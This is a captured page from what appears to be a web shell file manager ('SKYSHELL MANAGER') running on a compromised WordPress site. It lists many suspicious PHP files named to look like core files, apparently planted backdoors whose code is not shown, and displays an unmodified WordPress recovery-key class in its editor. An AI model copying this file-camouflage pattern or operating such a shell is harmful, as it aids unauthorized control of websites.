📁
SKYSHELL MANAGER-
🛒
PHP v8.3.30
Create Folder
Create File
Current Path:
home
/
xb189222
/
lifaintec.com
/
public_html
/
Name
Size
Permissions
Actions
📁
..
-
0711
🗑️
🔒
📁
wp-admin
-
0755
🗑️
🔒
📁
wp-content
-
0755
🗑️
🔒
📁
wp-includes
-
0755
🗑️
🔒
📄
.htaccess
1.55 KB
0755
🗑️
⬇️
✏️
🔒
📄
.user.ini
3.89 KB
0755
🗑️
⬇️
✏️
🔒
📄
about.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
class-avif-info.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-classic-to-block-menu-converter.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-config64.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-customize-setting.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-functions11.php
7.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-http-proxy.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-includes.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-load24.php
7.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-mail49.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-options59.php
7.08 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-theme-json-resolver.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
content.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
core-functions.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
core-load94.php
7.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
core-sidebar.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
default_page.png
37.91 KB
0755
🗑️
⬇️
✏️
🔒
📄
general-template.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
0.41 KB
0755
🗑️
⬇️
✏️
🔒
📄
llms.txt
1.7 KB
0755
🗑️
⬇️
✏️
🔒
📄
login.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
pluggable.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin-admin.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin-header89.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin-media.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin-query17.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
post-api10.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
post-bridge.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
post-mail88.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
radio.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
readme.html
7.25 KB
0755
🗑️
⬇️
✏️
🔒
📄
rss-functions.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-admin.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-api.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-content57.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-content99.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-cron.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-index81.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-options35.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-previews.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-sidebar.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-sidebar67.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-bridge80.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-functions59.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-media.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-settings.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-sidebar23.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-activate.php
7.18 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-bridge.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-conffq.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-config.php
3.54 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-cron.php
7.06 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-header62.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-headre.php
7.06 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-load.php
7.06 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-login.php
50.23 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-mail.php
7.11 KB
0444
🗑️
⬇️
✏️
🔒
📄
wp-mail24.php
7.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-settings.php
7.06 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-signup.php
33.71 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-template50.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0755
🗑️
⬇️
✏️
🔒
📄
x.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0755
🗑️
⬇️
✏️
🔒
Editing: class-wp-recovery-mode-key-service.php
<?php /** * Error Protection API: WP_Recovery_Mode_Key_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to generate and validate keys used to enter Recovery Mode. * * @since 5.2.0 */ #[AllowDynamicProperties] final class WP_Recovery_Mode_Key_Service { /** * The option name used to store the keys. * * @since 5.2.0 * @var string */ private $option_name = 'recovery_keys'; /** * Creates a recovery mode token. * * @since 5.2.0 * * @return string A random string to identify its associated key in storage. */ public function generate_recovery_mode_token() { return wp_generate_password( 22, false ); } /** * Creates a recovery mode key. * * @since 5.2.0 * @since 6.8.0 The stored key is now hashed using wp_fast_hash() instead of phpass. * * @param string $token A token generated by {@see generate_recovery_mode_token()}. * @return string Recovery mode key. */ public function generate_and_store_recovery_mode_key( $token ) { $key = wp_generate_password( 22, false ); $records = $this->get_keys(); $records[ $token ] = array( 'hashed_key' => wp_fast_hash( $key ), 'created_at' => time(), ); $this->update_keys( $records ); /** * Fires when a recovery mode key is generated. * * @since 5.2.0 * * @param string $token The recovery data token. * @param string $key The recovery mode key. */ do_action( 'generate_recovery_mode_key', $token, $key ); return $key; } /** * Verifies if the recovery mode key is correct. * * Recovery mode keys can only be used once; the key will be consumed in the process. * * @since 5.2.0 * * @param string $token The token used when generating the given key. * @param string $key The plain text key. * @param int $ttl Time in seconds for the key to be valid for. * @return true|WP_Error True on success, error object on failure. */ public function validate_recovery_mode_key( $token, $key, $ttl ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) ); } $record = $records[ $token ]; $this->remove_key( $token ); if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) { return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) ); } if ( ! wp_verify_fast_hash( $key, $record['hashed_key'] ) ) { return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) ); } if ( time() > $record['created_at'] + $ttl ) { return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) ); } return true; } /** * Removes expired recovery mode keys. * * @since 5.2.0 * * @param int $ttl Time in seconds for the keys to be valid for. */ public function clean_expired_keys( $ttl ) { $records = $this->get_keys(); foreach ( $records as $key => $record ) { if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) { unset( $records[ $key ] ); } } $this->update_keys( $records ); } /** * Removes a used recovery key. * * @since 5.2.0 * * @param string $token The token used when generating a recovery mode key. */ private function remove_key( $token ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return; } unset( $records[ $token ] ); $this->update_keys( $records ); } /** * Gets the recovery key records. * * @since 5.2.0 * @since 6.8.0 Each key is now hashed using wp_fast_hash() instead of phpass. * Existing keys may still be hashed using phpass. * * @return array { * Associative array of token => data pairs, where the data is an associative * array of information about the key. * * @type array ...$0 { * Information about the key. * * @type string $hashed_key The hashed value of the key. * @type int $created_at The timestamp when the key was created. * } * } */ private function get_keys() { return (array) get_option( $this->option_name, array() ); } /** * Updates the recovery key records. * * @since 5.2.0 * @since 6.8.0 Each key should now be hashed using wp_fast_hash() instead of phpass. * * @param array $keys { * Associative array of token => data pairs, where the data is an associative * array of information about the key. * * @type array ...$0 { * Information about the key. * * @type string $hashed_key The hashed value of the key. * @type int $created_at The timestamp when the key was created. * } * } * @return bool True on success, false on failure. */ private function update_keys( array $keys ) { return update_option( $this->option_name, $keys, false ); } }
💾 Save Changes